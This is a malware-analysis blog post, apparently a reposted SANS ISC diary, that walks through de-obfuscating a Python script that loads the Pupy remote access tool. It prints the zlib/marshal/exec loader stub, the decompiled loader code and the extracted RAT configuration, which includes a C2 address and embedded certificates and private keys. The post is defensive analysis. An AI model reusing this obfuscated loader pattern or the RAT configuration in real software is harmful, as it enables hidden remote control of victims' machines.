Nicely Obfuscated Python RAT , (Wed, Oct 14th)

While hunting, I found an interesting Python script. It matched one of my YARA rules due to the interesting list of imports but the content itself was nicely obfuscated. The script SHA256 hash is c5c8b428060bcacf2f654d1b4d9d062dfeb98294cad4e12204ee4aa6e2c93a0b and the current VT score is only 2/59![1]

The script is simple, after a bunch of imports and an if/then condition to detect if it is executed on Windows or Linux, we have this piece of code (slightly beautified):

import zlib,marshal
exec marshal.loads(zlib.decompress(
    'xxdaxd4xbdx0bxx1cxc9yx18Xxd5=O`x80x01xf1x06x9fCxee
     
     xabxacxffxd4Oyx99x86x17xffxfaxa1x14xe3Mx92x92zxf9xc9xe5xffx03x1dx99x95xf3'))

You can see that the script use exec()[2] which can be compared to the JavaScript eval(). exec() will execute the Python code passed as argument:

$ python3
Python 3.8.6 (default, Sep 25 2020, 09:36:53)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> exec("a=True;print(a)")
True
>>>

When I’m teaching FOR610, I like to say that, when you see eval() in a script, often this means it’s “evil”. In Python, eval() is able to evaluate and execute either a string, an open file object, or a bytecode object. You know that Python is an interpreted language but, like many other languages, it actually compiles source code to a set of instructions for a virtual machine (the Python “interpreter”). This intermediate format is called “bytecode”. You probably already saw files ending with ‘.pyc’.

The payload is zipped and, once decompressed, it is passed to the marshal module[3] which performs internal Python object (de)serialization. The output is a bytecode that is evaluated and executed by exec(). The challenge is now to investigate what’s inside this bytecode. To achieve this, we can use a third-party module called uncompyle6[4]. This module is able to decompile bytecode into Python source code. Let’s change the original code into this:

import zlib
import marshal
import uncompyle6
uncompyle6.main.decompile(2.7,marshal.loads(zlib.decompress('...')),sys.stdout)

Here is the generated output. We start to see interesting stuff:

# uncompyle6 version 3.7.4
# Python bytecode 2.7
# Decompiled from: Python 2.7.17 (default, Jul 20 2020, 15:37:01)
# [GCC 7.5.0]
import imp, sys, marshal
stdlib = marshal.loads('... ...')
config = marshal.loads('...  ...')
pupy = imp.new_module('pupy')
pupy.__file__ = 'pupy://pupy/__init__.pyo'
pupy.__package__ = 'pupy'
pupy.__path__ = ['pupy://pupy/']
sys.modules['pupy'] = pupy
exec marshal.loads(stdlib['pupy/__init__.pyo'][8:]) in pupy.__dict__
pupy.main(stdlib=stdlib, config=config)

We see a lot of references to “pupy” which is a Python RAT (“Remote Access Tool”)[5].

The most interesting data that deserves some deeper check is the ‘config’ object. Let’s have a look at it by executing the code related to it and we find this:

$ python3
Python 3.8.6 (default, Sep 25 2020, 09:36:53)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import marshal
>>> config = marshal.loads(b'...')
>>> print(config)

Here is the extracted config (beautified):

{
    'launcher_args': [
        b'--host',
        b'172.16.225.19:8443', 
        b'-t', b'ssl'
        ],
    'cid': 2438748468, 
    'launcher': b'connect', 
    'delays': [(10, 5, 10), (50, 30, 50), (-1, 150, 300)], 
    'debug': False, 
    'credentials': {
        'SSL_BIND_CERT': 
b'-----BEGIN CERTIFICATE-----nMIIC/jCCAeagAwIBAwIBAzANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQKDApJYkhunVFduaGNFMB4XDTIwMTAxMjE0MTM1OFoXDTIzMTAxMjE0MTM1OFowJjETMBEGA1UEnCgwKbEtJV2pYaGlvZjEPMA0GA1UECwwGQ0xJRU5UMIIBIjANBgkqhkiG9w0BAQEFnAAOCAQ8AMIIBCgKCAQEArKNBMZbKTBVkPfhR94lVAVYuv8kzB3HYkZF0PZjI7Cadnr+9rQ1Q3bQxEQ7Z4NztLysbMzEBRGTDMdQGrRbFH/A4zgaSznIH2+ftInjYUEoXOntpZF8j5G2qR26VqTBYbhYagDFQM9s/E5X7Fm94QvACBgBQySZTYBQKCpKESir4dxn7hkfRZgrjBV9YLPFGFqd1IX1k/0JyYMtnCnP5kBjM8/Q6hDgdV7TEs7CmahpL+rlnY3ijIo9m1B5nlhb1ug7+w9/YdHfclGjQ2dmi0/ndp66aMlQHhjzDnNlwdsJ77+zxn4aWdN2vY4afdeHs1VoARvnN5UCL7R1TaI16QUlhKSwIDAQABo0gwRjAJBgNVHRMEnAjAAMBkGA1UdDgQSBBDKYoYigHC5cKWx42XCjDkSMAsGA1UdDwQEAwIFIDARBglgnhkgBhvhCAQEEBAMCBkAwDQYJKoZIhvcNAQELBQADggEBACwNdBricTnwLcnbFdmEnpyl+01dOahdQj0cNXQ9LvJIVrr07x+81V7513TZ6qxUfgihR69Kf6iYbp0vtoixun0wH9cT9tLyDhXopgZXiGna/zITtlUXAvkIzaDTEJ3t4FALX+BoQU8Skx4Y2OLpi/nfY/ku4/QRaxOELHMmkljbhrixTHnJHgxWvfnXPr2icvxCHsL9r1gK8ze+ZfyjDVenbidYgLzthrXiCvNTW1PiiUW7WHeGQjp7O87vZpUOCZ2hVGZtI5svGjBqgqRCyLM2nvaXyvL6RSRlIayZea2mbJFb5ZhzvpNroiBAa72r1rOgRZRqA8k4cvo1JH3xBIcGonpN4=n
-----END CERTIFICATE-----n', 
        'SSL_CA_CERT': 
b'-----BEGIN CERTIFICATE-----nMIIC0DCCAbigAwIBAwIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQKDApJYkhunVFduaGNFMB4XDTIwMTAxMjE0MTM1OFoXDTIxMTAxMjE0MTM1OFowFTETMBEGA1UEnCgwKSWJIblRXbmhjRTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALH+n52uAbcc8nIOpHbzmoG+lbXLBeU75OYr8JhZSZIw+m18QvsZ8ACBGeAwXbv5AvYGRnVvECtDYTkgRaQzIAaZvo0C8kqj43sAkyUWcf0kuVLOkbYlG9NMDDkyVL6BmIQpvyn8+ohLk2CfFoKGC0oJH3lK037WMqki+hi2a8iSVaSu/c23WeKhN8mRMDPRAfwPqcanBRl4U+ezr+Y32ayQF1N5zlVbWEOv6NZ9WTIt9qRnHpXLKsQPvJB/EP/BbSPnJcdBn/DTgYkXHhJL1FVQUj4CblbVI2wuR/2bbVIJjM3srNFvuuLdPhE6+x+fFu2Q3u7d0nbH2BFQg0Jut25ZGMNqcCAwEAAaMrMCkwDAYDVR0TBAUwAwEB/zAZBgNVHQ4EEgQQnLw2jfzazhJBAvVC+mBylPzANBgkqhkiG9w0BAQsFAAOCAQEApeMeRldhXgR+Ny2QnnHyI+qaubO+fdJ5gJaPZ5XprSFAI1Opwzq2BPQ+99w0ej9TlTa3l6IZ73zUU4cc/n4PFzMVbJKP0AQs3PAqA4z+o6YOwaw7wlGUq4pY/LHvyDY0mxGRW9+aptJkxMGGj3njJpwoxmPWFm6hrwgIGgrkzlJmo23TMCxvNKMwsx8MZMQLbcCMcZ+nxnBugF1025pnUy+pgGXErRhiZ0tLpmnfQIbL9vUsCeJAh9F/+1DxaHQIyEiOsvZUiHXIw8LERx9PnEVf4RpdTe4EX1eAO5LnnsQpK6vqii0T0NUoVjCEGwcvfC5xTWlnbvlYi2T3uGim8nsVCBqw==n
-----END CERTIFICATE-----n', 
        'SSL_CLIENT_CERT': 
b'-----BEGIN CERTIFICATE-----nMIIC/jCCAeagAwIBAwIBBTANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQKDApJYkhunVFduaGNFMB4XDTIwMTAxMjE0MTM1OFoXDTIzMTAxMjE0MTM1OFowJjETMBEGA1UEnCgwKWmdmWlRGZGtTRjEPMA0GA1UECwwGQ0xJRU5UMIIBIjANBgkqhkiG9w0BAQEFnAAOCAQ8AMIIBCgKCAQEAntdeGhRlWcA7ZwWpnQ5TuWCmEsqliN4LdU4u5c1FCDPXn8mvRi//NTdNc+jJyZgXC25ep9vTlWYLjvdY63i64/3yunF3VMiOdmFXW+bEfCFmhneIufwh6R34530fcOvo21olXPsUBqilIGVfqzCiVWtT5SYRUlIMo0CHJdTkg0l4SCn4UPv+nndYzpQ6iZl9i4jFFMnPuz2DPywYBOAoqz+MjNp7WR03+n92VAqnZ+/C+monBu3WeH0vH56mmxjCkBK/N7mHI64HdC6iw47yzKT/mXx/pf1ZVtWlcmASTA3pLrT4nHQ5xHTVm2p6c/XzgsTQ8SvV+fcEqcWKG5SUnDEFW0QIDAQABo0gwRjAJBgNVHRMEnAjAAMBkGA1UdDgQSBBBe1ns9ffIR6Z8GqcIP6tyjMAsGA1UdDwQEAwIHgDARBglgnhkgBhvhCAQEEBAMCB4AwDQYJKoZIhvcNAQELBQADggEBADzXuhwbBWbbsqGlgiwCn71ci6+d47jszL3cEDwmxmHShCApUmonu2zTB9zdLIdakgctriEBM1ygHTF1ZBvetnAaVsRZUYAIb8/sqmuBVRsLq7JVTcuOwRKcFsBF6NhP9/MYaXLehR5kJ5d4wtQl01nD6qPpW21ceqXJ292EhBGatQMgzh84OV7gvSQKMyfW7QblcEqAoTE+1km6QY++/UhnfvzSxgABIZnLjDqRtCCLxWBsd9b32xkF33hWKScR7lJwmxLnm44UHiFu2kU/laFin3rcxs1892v934bknV0zPTcPqYOGdq5ndNohA0IPEXbtdn3UueoNdaSWiZzW7oTrgnBaQ=n
-----END CERTIFICATE-----n', 
        'SSL_BIND_KEY': 
b'-----BEGIN PRIVATE KEY-----nMIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQCso0ExlspMFWQ9n+FH3iVUBVi6/yTMHcdiRkXQ9mMjsJp2v72tDVDdtDERDtng3O0vKxszMQFEZMMx1nAatFsUf8DjOBpLOcgfb5+0ieNhQShc62lkXyPkbapHbpWpMFhuFhqAMVAz2z8TlfnsWb3hC8AIGAFDJJlNgFAoKkoRKKvh3HuGR9FmCuMFX1gs8UYWp3UhfWT/QnJgy2cnKc/mQGMzz9DqEOB1XtMSzsKZqGkv6uVjeKMij2bUHmeWFvW6Dv7D39h0d9yUaNDZn2aLT+d2nrpoyVAeGPMOc2XB2wnvv7PHhpZ03a9jhp914ezVWgBG+c3lQIvtHVNojnXpBSWEpLAgMBAAECggEBAIiwUkQjMlV/cnkmji/CSs3eIPG1KnQwjdrkIfdLa3qfnMKdGl9Udby0mUz6R0SlaB66sLSdjnVKmspvKEIQD1A0caWeysouu05Amh97MzqPDn0mH7JbKh4JPpOEWXc2Ui4Hzj/Fy8zjQVQOolmnNL87LT73LP+3Grit5S1tyNS4pSnFMtQUx0UzsnuHrUmMwH1dRO6DzohmpZR3wTDxxrOuWiqbNKyM2sTJ3xRU1u2zbsTny4UEkZp1brI711GmlmFodUli2u1OFHld5IUNEniTX2CXa/+NpfaUYM4OIS8cCYhzn1Hpbq1FZpephXfhc3oGRBepCX4EAFkiKpHs1dz9dSYECgYEA1gpVnDtWebXRsKbsnLsXAw5cO7C2oTzSgbH61nbLW17IircwMpxvklxxfwaDorIIwhhYq1qe/2aBBduK4nEKfaWl9vh4occjqlIF7CvYahku3EeLXPjVqFEWe1ixJsN7fAOOCuVuXIboZsHW8nnTQzZd/xV5EeK6Leu8l0obmtrY+ECgYEAznseTl9wZV0nCMAcG3y9opWP4xXKzdKanDCkX0lb715+xUD5V+MX+AW8c+xX25X0+aO2c8GkOCyqsmBFTMT6c7F+BKFTi658MngjMmpVX/wVuP51/qK0/3ozKcEgEoUASaVzsAxzoAhjsH7UIjUV6Ps6mp5Hdaeee/nBZLLbZuO86sCgYEAtPCjkqEu51Dm5PkXbCrMXAwVF185i0un2k/7ZEbNDCaQ3m9Cnuvn/cicQY/WM/FhKgO+4YyIIMwcgkEn05E+hbQiElgYRKhedhBHXerSXXkgV8R1xnScOd/iq388stJKT3oJ1/hAJYP+bu+qr+hEo6hQ4R5hr8uOKeyFAsX7v7WsECgYEAnillkTQ8VuFVaOjq+moxSZAXiiz2mzZI3Nb6y/3TY+fk+TY32/OFs+HkC6holfE8Wn6ieL6Gn7xu+pBZtWKsDRVHAJkoSOJ2JCd1reohmlbGF1YoqZ1LuYKflXKZks8bCjn2Z7nPpZWk5oqDYcrMvIxRyh/dV2jedsV2x4owCBjAFECgYEAveBznLl2yrQmbe40net0E4oA2vf67juop4y6WrOgqkoFnmfFoEUF54tAVDKdHcnhzJp3/eko49Evr8agYndGcZgkpzKFqZQ56LZ9ltKXATm+I2InjyQC3UXMBdSDpuW3io0Et+7bzaV0xaHA0gnSxsoi8TK31dV/uBbuM8w0Ub8mJ8=n
-----END PRIVATE KEY-----n', 
       'SSL_CLIENT_KEY': 
b'-----BEGIN PRIVATE KEY-----nMIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCe114aFGVZwDtnnBamdDlO5YKYSyqWI3gt1Ti7lzUUIM9fya9GL/81N01z6MnJmBcLbl6n29OVZguO9n1jreLrj/fK6cXdUyI52YVdb5sR8IWaF4i5/CHpHfjnfR9w6+jbWiVc+xQGqKUgZVn+rMKJVa1PlJhFSUgyjQIcl1OSDSXhILhQ+/6ed1jOlDqJmX2LiMUUyc+7PYM/LBgnE4CirP4yM2ntZHTf6f3ZUCqdn78L6agG7dZ4fS8fnqabGMKQEr83uYcjrgd0LqLDnjvLMpP+ZfH+l/VlW1aVyYBJMDekutPgdDnEdNWbanpz9fOCxNDxK9X59wSpxYoblnJScMQVbRAgMBAAECggEAdU+2TiiWGc0hkhrahAYay6SXwvUrgIQNjltpw4rw2vf/nGymKH42TAVGDL72mQ7cpjKjcfGmuIYfLz16zJ3j2ZKqfAxlB5b/sGp/7H3oy4yXfnXXoxSVrufV9pGwcOOqnKZdReihh7FyExULrRFEMzYLRgfxbwzuDHwR1F0BT/0o5/nZOYmCMsskaFnC458WqcpU/N11vAolVf6VtWIlCyCJCDZIfricTC/U5t22aR04eO9nAxq1n9oZ49Nwqnm1H85u8qqedqAF5VFpf7PRVOZMk5DLkgR5bTSIFD08oKoFJWeOnWSZgz3szNME2fIYD6+1PBVVrJPmtvQ5E1GzJFV6KgQKBgQDPtsRV8wchEZjjnQeFn+OygDUL19UIaZtYaZY6dsFTYlXlwaNS5tT7ZAlyLz9qEzI9BfcCQ9CnxV+DFth8tnZgavu2fdH9ETHXz9MJArehaMci1d9Ma2bMpOpheyAkbjbfvueNFlas4olmPI2Zzznx7A2K55L/OxvFfFt4cqmhC6W2QKBgQDDxCW8adbMCJw6w8RLnXwNDhU6kr2i+W3PnSUtwqaVi6KaRXJjui0LfglKmvfhu5z677Z3817FCuHhztT6jcnz0z/5uCplIo4lnnSNtr1DQKsh4xAUdU3vK3kp1bFZTvsKPyP+w4BQ9xCqFFUPzP0qD7Tuhr0Cw63IaonC9Fprpx0uQKBgAyDShiTZ16KnNc5YnajpD2QDvSaLb1BbKxyacD+Gl5hwssOxaHanVUrlZYXWo6dUW1zqomsZCl3LmXLPodkuSEDV3U/o1sN8B0eJYWX9GNalGi6KzF24n+Ab84niKwpJ40bBv/s1JPdocFS7ITTgyU18wCX0yY1vdyomADKEzXUshAoGAOpMAn23wricb1v9t9a0aGrH1POsRXO2E4SvJaQS5xTsPfutSi6ZT/gFLFGiDzKXPFYIN7nZwC+iAEcATr0sAD8hF+LeC9xp7tOzHmPNZc7rwuWXwFL74f5xZV3wZ4WfxUyKLSZnoDVbZm5QzKWrzx7tjeQRRNj3svDy1Wsb0GwvYfkCgYBYmtX19ZiZGGXx8mow3fxBntaEm7uIXuFojvaZZKIcbj67Mc0AVIsWeG2PhdbBGuXKNFu9Gkxdjw5OUip8a0UnsnIWzAKHtVUX9vOG2cAC4eD4G+LgIdHnj46RlD7edppSflAHxibTz/XI/g0bnIFX2snGjgAfHPZxjSkzkYgsWMNxg==n
-----END PRIVATE KEY-----n'
        }, 
    'scriptlets': ['']
}

Unfortunately, the host is an RFC198 IP address. Maybe we could find interesting information in the certificate? Let’s have a look:

# openssl x509 -in cert.tmp -text
Certificate:
    Data:
        Version: Unknown (3)
        Serial Number: 3 (0x3)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: O = IbHnTWnhcE
        Validity
            Not Before: Oct 12 14:13:58 2020 GMT
            Not After : Oct 12 14:13:58 2023 GMT
        Subject: O = lKIWjXhiof, OU = CLIENT
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:ac:a3:41:31:96:ca:4c:15:64:3d:f8:51:f7:89:
                    55:01:56:2e:bf:c9:33:07:71:d8:91:91:74:3d:98:
                    c8:ec:26:9d:af:ef:6b:43:54:37:6d:0c:44:43:b6:
                    78:37:3b:4b:ca:c6:cc:cc:40:51:19:30:cc:75:01:
                    ab:45:b1:47:fc:0e:33:81:a4:b3:9c:81:f6:f9:fb:
                    48:9e:36:14:12:85:ce:b6:96:45:f2:3e:46:da:a4:
                    76:e9:5a:93:05:86:e1:61:a8:03:15:03:3d:b3:f1:
                    39:5f:b1:66:f7:84:2f:00:20:60:05:0c:92:65:36:
                    01:40:a0:a9:28:44:a2:af:87:71:ee:19:1f:45:98:
                    2b:8c:15:7d:60:b3:c5:18:5a:9d:d4:85:f5:93:fd:
                    09:c9:83:2d:9c:29:cf:e6:40:63:33:cf:d0:ea:10:
                    e0:75:5e:d3:12:ce:c2:99:a8:69:2f:ea:e5:63:78:
                    a3:22:8f:66:d4:1e:67:96:16:f5:ba:0e:fe:c3:df:
                    d8:74:77:dc:94:68:d0:d9:d9:a2:d3:f9:dd:a7:ae:
                    9a:32:54:07:86:3c:c3:9c:d9:70:76:c2:7b:ef:ec:
                    f1:e1:a5:9d:37:6b:d8:e1:a7:dd:78:7b:35:56:80:
                    11:be:73:79:50:22:fb:47:54:da:23:5e:90:52:58:
                    4a:4b
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
            X509v3 Subject Key Identifier: 
                CA:62:86:22:80:70:B9:70:A5:B1:E3:65:C2:8C:39:12
            X509v3 Key Usage: 
                Key Encipherment
            Netscape Cert Type: 
                SSL Server
    Signature Algorithm: sha256WithRSAEncryption
         2c:0d:74:1a:e2:71:39:f0:2d:c9:db:15:d9:84:a7:29:7e:d3:
         57:4e:6a:17:50:8f:47:0d:5d:0f:4b:bc:92:15:ae:bd:3b:c7:
         ef:35:57:be:75:dd:36:7a:ab:15:1f:82:28:51:eb:d2:9f:ea:
         26:1b:a7:4b:ed:a2:2c:6e:d3:01:fd:71:3f:6d:2f:20:e1:5e:
         8a:60:65:78:86:9d:af:f3:21:3b:65:51:70:2f:90:8c:da:0d:
         31:09:de:de:05:00:b5:fe:06:84:14:f1:29:31:e1:8d:8e:2e:
         98:bf:7d:8f:e4:bb:8f:d0:45:ac:4e:10:b1:cc:9a:49:63:6e:
         1a:e2:c5:31:e7:24:78:31:5a:f7:e7:5c:fa:f6:89:cb:f1:08:
         7b:0b:f6:bd:60:2b:cc:de:f9:97:f2:8c:35:5e:6e:27:58:80:
         bc:ed:86:b5:e2:0a:f3:53:5b:53:e2:89:45:bb:58:77:86:42:
         3a:7b:3b:ce:ef:66:95:0e:09:9d:a1:54:66:6d:23:9b:2f:1a:
         30:6a:82:a4:42:c8:b3:36:bd:a5:f2:bc:be:91:49:19:48:6b:
         26:5e:6b:69:9b:24:56:f9:66:1c:ef:a4:da:e8:88:10:1a:ef:
         6a:f5:ac:e8:11:65:1a:80:f2:4e:1c:be:8d:49:1f:7c:41:21:
         c1:a8:a4:de

Same conclusion, no interesting information here. This is probably an internal test or a red-team exercise but the obfuscation technique used in this sample is interesting… 

[1] https://www.virustotal.com/gui/file/c5c8b428060bcacf2f654d1b4d9d062dfeb98294cad4e12204ee4aa6e2c93a0b/detection
[2] https://docs.python.org/2.0/ref/exec.html
[3] https://docs.python.org/3/library/marshal.html
[4] https://pypi.org/project/uncompyle6/
[5] https://github.com/n1nj4sec/pupy

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

CyberSafe-WP-Admin